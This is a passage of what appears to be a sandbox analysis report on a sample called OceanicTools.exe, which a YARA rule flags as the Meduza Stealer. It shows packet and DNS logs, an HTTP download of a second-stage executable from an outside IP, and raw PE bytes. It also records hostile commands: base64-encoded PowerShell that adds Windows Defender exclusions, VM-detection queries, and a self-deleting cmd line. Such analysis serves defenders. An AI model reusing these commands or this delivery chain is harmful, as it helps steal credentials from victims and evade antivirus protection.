Oct 13, 2024 01:40:45.348251104 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.348316908 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.348381996 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.348436117 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.348486900 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.348620892 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.348673105 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.348834991 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.348887920 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.348928928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.348959923 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.348978996 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349005938 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349088907 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349102974 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349152088 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349194050 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349244118 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349309921 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349334955 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349349022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349361897 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349383116 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349395990 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349411964 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349433899 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349462986 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349478006 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349587917 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349639893 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349735022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349795103 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.349849939 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.349903107 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350089073 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350112915 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350141048 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350166082 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350277901 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350317955 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350326061 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350342035 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350354910 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350364923 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350368023 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350399971 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350403070 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350416899 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350440979 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350452900 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350454092 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350486994 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350506067 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350548983 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350570917 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350594997 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350601912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350620031 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350646019 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350718975 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350769043 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350825071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350874901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.350913048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.350963116 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351006985 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351061106 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351097107 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351150990 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351259947 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351317883 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351356030 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351394892 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351404905 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351408958 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351438999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351447105 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351463079 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351488113 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351562977 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351617098 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351628065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351679087 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351679087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351691961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351712942 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351735115 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351758957 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351780891 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351818085 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351830959 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351861000 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351865053 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351912975 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351924896 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351939917 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351974964 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.351975918 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.351989031 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.352016926 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.352062941 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.352076054 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.352116108 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.352890968 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.352931023 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.352945089 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.352992058 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353204012 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353229046 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353255033 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353270054 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353279114 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353305101 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353318930 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353339911 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353343964 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353355885 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353358984 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353368998 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353389025 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353408098 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353437901 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353451967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353463888 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353494883 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353503942 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353519917 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353560925 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.353637934 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.353689909 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354047060 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354095936 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354204893 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354219913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354257107 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354275942 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354291916 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354322910 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354340076 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354343891 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354373932 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354387045 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354414940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354463100 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354465008 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354510069 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354540110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354563951 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354577065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354594946 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354615927 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354636908 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354693890 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354743004 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.354852915 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354866028 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.354877949 CEST	15666	49962	79.137.202.152	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 13, 2024 01:40:38.713457108 CEST	192.168.2.5	1.1.1.1	0xac78	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 13, 2024 01:40:38.720644951 CEST	1.1.1.1	192.168.2.5	0xac78	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 13, 2024 01:40:38.720644951 CEST	1.1.1.1	192.168.2.5	0xac78	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 13, 2024 01:40:38.720644951 CEST	1.1.1.1	192.168.2.5	0xac78	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49720	185.208.158.47	80	3724	C:\Users\user\Desktop\OceanicTools.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 01:39:57.499043941 CEST	114	OUT	GET /phantomtoolsv2.exe HTTP/1.1 Host: 185.208.158.47 Accept-Encoding: gzip X-Secret-Phrase: AnalNosorog256
Oct 13, 2024 01:39:58.162944078 CEST	302	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.4 Python/3.11.2 Date: Sat, 12 Oct 2024 23:39:58 GMT Server: SimpleHTTP/0.6 Python/3.11.2 Date: Sat, 12 Oct 2024 23:39:58 GMT Content-type: application/x-msdos-program Content-Length: 2746880 Last-Modified: Sat, 12 Oct 2024 19:27:17 GMT Connection: close
Oct 13, 2024 01:39:58.163001060 CEST	1236	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd(g.))@`**`
Oct 13, 2024 01:39:58.163037062 CEST	224	IN	Data Raw: 84 00 00 00 0e 0f 86 7b ff ff ff 8b 90 f8 00 00 00 31 c9 85 d2 0f 95 c1 e9 69 ff ff ff 0f 1f 80 00 00 00 00 48 8b 0d f1 4e 27 00 e8 ec 99 01 00 31 c0 48 83 c4 28 c3 0f 1f 44 00 00 83 78 74 0e 0f 86 40 ff ff ff 44 8b 80 e8 00 00 00 31 c9 45 85 c0 Data Ascii: {1iHN'1H(Dxt@D1E,fH8HN'L)H)H))HaN'DH)HD$ dH8ATUWVSH1HT$ HHH=:M'DEeH
Oct 13, 2024 01:39:58.163065910 CEST	1236	IN	Data Raw: 8b 04 25 30 00 00 00 48 8b 1d 6e 4d 27 00 48 8b 70 08 48 8b 2d 8b f3 29 00 eb 11 90 48 39 c6 0f 84 07 02 00 00 b9 e8 03 00 00 ff d5 31 c0 f0 48 0f b1 33 75 e7 48 8b 35 50 4d 27 00 31 ed 8b 06 83 f8 01 0f 84 fa 01 00 00 8b 06 85 c0 0f 84 69 02 00 Data Ascii: %0HnM'HpH-)H91H3uH5PM'1i)HEL'HHtE11HM')HL'HH9ZHL'H)AY1HHuUDtEt'H
Oct 13, 2024 01:39:58.163100004 CEST	1236	IN	Data Raw: 16 10 00 48 89 f9 89 f2 e8 bb ae 0a 00 41 b8 03 00 00 00 48 8d 15 69 f9 10 00 48 89 c7 48 89 c1 e8 23 16 10 00 48 89 f9 89 da e8 99 ae 0a 00 48 8d 15 51 f9 10 00 41 b8 03 00 00 00 48 89 c1 48 89 c7 e8 01 16 10 00 8d 14 33 48 89 f9 e8 76 ae 0a 00 Data Ascii: HAHiHH#HHQAHH3HvHHH@HH~8VCH\|HH [^_~fDA/uzH=kA'AHHHAHHHdHH
Oct 13, 2024 01:39:58.163136005 CEST	1236	IN	Data Raw: 44 24 38 48 89 c6 48 85 db 74 39 49 89 c6 49 8d 1c 07 66 90 e8 23 5c 02 00 49 83 c6 04 89 c1 48 98 48 69 c0 1f 85 eb 51 41 89 c8 41 c1 f8 1f 48 c1 f8 25 44 29 c0 6b c0 64 29 c1 41 89 4e fc 49 39 de 75 d0 49 39 ec 74 6b 48 89 75 00 48 83 c5 08 48 Data Ascii: D$8HHt9IIf#\IHHiQAAH%D)kd)ANI9uI9tkHuHHYHL)HL9t\|f.ILHtAHH9rLLL)Hh[^_]A\A]A^A_:f.HT$ HL$(Ll$@Ld$HLd$PmLl$@Hl$HLd$PkHuHh[^_]
Oct 13, 2024 01:39:58.163175106 CEST	672	IN	Data Raw: 00 8d 70 01 e8 97 0c 10 00 48 63 f6 48 89 d9 48 89 f2 e8 a9 8f 0a 00 48 89 c5 48 8b 00 48 8b 40 e8 4c 8b a4 05 f0 00 00 00 4d 85 e4 0f 84 f4 01 00 00 41 80 7c 24 38 00 0f 84 0a 01 00 00 41 0f be 54 24 43 48 89 e9 e8 14 73 0a 00 48 89 c1 e8 5c 75 Data Ascii: pHcHHHHH@LMA\|$8AT$CHsH\uHH9H,HIIHHt/VIHcHiQH%)kd)AEL9uLHqaL)4@AHHH0[^_]A\A]A^
Oct 13, 2024 01:39:58.163211107 CEST	1236	IN	Data Raw: 00 00 00 0f 11 01 74 58 48 89 f1 e8 a0 88 10 00 49 89 f0 31 d2 4c 8d 2c 30 48 89 03 48 89 c1 4c 89 6b 10 e8 88 54 02 00 48 89 c1 4c 89 6b 08 49 89 f8 48 89 ea e8 66 54 02 00 c6 04 38 80 48 8b 03 4c 89 64 30 f8 48 89 d8 48 83 c4 28 5b 5e 5f 5d 41 Data Ascii: tXHI1L,0HHLkTHLkIHfT8HLd0HH([^_]A\A]f.HE1HA1HNff.fAWAVAUATUWVSHfoHHL$@HD$@HT$HH)HvHHD$8HAvT2HAA
Oct 13, 2024 01:39:58.163268089 CEST	1236	IN	Data Raw: fe ff ff 31 c0 eb cd 0f 1f 44 00 00 31 c0 eb 0e 0f 1f 40 00 48 83 c0 01 48 83 f8 20 74 16 80 3c 01 0f 75 f0 80 7c 01 01 05 75 e9 0f b7 44 01 fe c3 0f 1f 00 31 c0 c3 0f 1f 44 00 00 41 57 41 56 41 55 41 54 55 57 56 53 48 83 ec 48 48 89 cb e8 08 fe Data Ascii: 1D1@HH t<u\|uD1DAWAVAUATUWVSHHHIHHH\|$0OHHIAIcG<Ll$0ADLVF E1M$ID;vCLHOHHI;l$0uF$KwFI1
Oct 13, 2024 01:39:58.163301945 CEST	1236	IN	Data Raw: 08 48 8b 58 08 48 8b 05 bc c3 29 00 48 89 88 80 00 00 00 48 89 98 88 00 00 00 0f 28 74 24 40 0f 28 7c 24 50 44 0f 28 44 24 60 44 0f 28 94 24 80 00 00 00 44 0f 28 4c 24 70 48 81 c4 98 00 00 00 5b 5f c3 0f 1f 44 00 00 48 8b 05 79 c3 29 00 48 ff 20 Data Ascii: HXH)HH(t$@(\|$PD(D$`D($D(L$pH[_DHy)H fDHi)H fDHY)H` DHI)H`@DH9)H`0DH))H`PD1ff.fH)H``DH)H`pfH)HfH)H
Oct 13, 2024 01:39:58.168448925 CEST	1236	IN	Data Raw: 48 89 5c 24 70 48 39 c8 48 0f 47 c1 4c 89 e9 4c 8d 04 02 e8 0c fc ff ff 48 8b 44 24 50 49 89 c1 48 39 f8 0f 84 93 01 00 00 48 8b 54 24 78 48 8b 4c 24 70 49 89 d0 48 39 d9 0f 84 c5 01 00 00 66 48 0f 6e c2 48 89 4c 24 50 48 8b 54 24 60 0f 16 84 24 Data Ascii: H\$pH9HGLLHD$PIH9HT$xHL$pIH9fHnHL$PHT$`$D$XHrHD$pH$HD$xHL$pH9tH$HP\yHFE1HHIHL$PHH9tHD$`HP$yHL$0L9tHD$@HPyH[^

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49963	104.26.13.205	443	3524	C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-12 23:40:39 UTC	100	OUT	GET / HTTP/1.1 Accept: text/html; text/plain; / Host: api.ipify.org Cache-Control: no-cache
2024-10-12 23:40:39 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 23:40:39 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8d1aefa9e96b8cd7-EWR
2024-10-12 23:40:39 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Target ID:	0
Start time:	19:39:36
Start date:	12/10/2024
Path:	C:\Users\user\Desktop\OceanicTools.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\OceanicTools.exe"
Imagebase:	0x7ff7c7d20000
File size:	23'282'688 bytes
MD5 hash:	F975EF6B34160BFF3BA3C8C815F9E77C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:39:36
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:39:36
Start date:	12/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	"reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum"
Imagebase:	0x7ff760030000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:39:37
Start date:	12/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" "computersystem" "get" "manufacturer"
Imagebase:	0x7ff7b68d0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:39:41
Start date:	12/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:39:41
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:39:59
Start date:	12/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHlccWZsd2VkdGtpaHV6eXhsZy5leGUi')); Invoke-Expression $cmd"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:39:59
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:40:16
Start date:	12/10/2024
Path:	C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"
Imagebase:	0x7ff6350d0000
File size:	2'746'880 bytes
MD5 hash:	0C01CFC0685211B3C655C7A9526F1849
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:40:37
Start date:	12/10/2024
Path:	C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"
Imagebase:	0x7ff6350d0000
File size:	2'746'880 bytes
MD5 hash:	0C01CFC0685211B3C655C7A9526F1849
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: 0000000E.00000002.2835428358.000001FB10D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:40:55
Start date:	12/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"
Imagebase:	0x7ff7855c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:40:55
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:40:55
Start date:	12/10/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
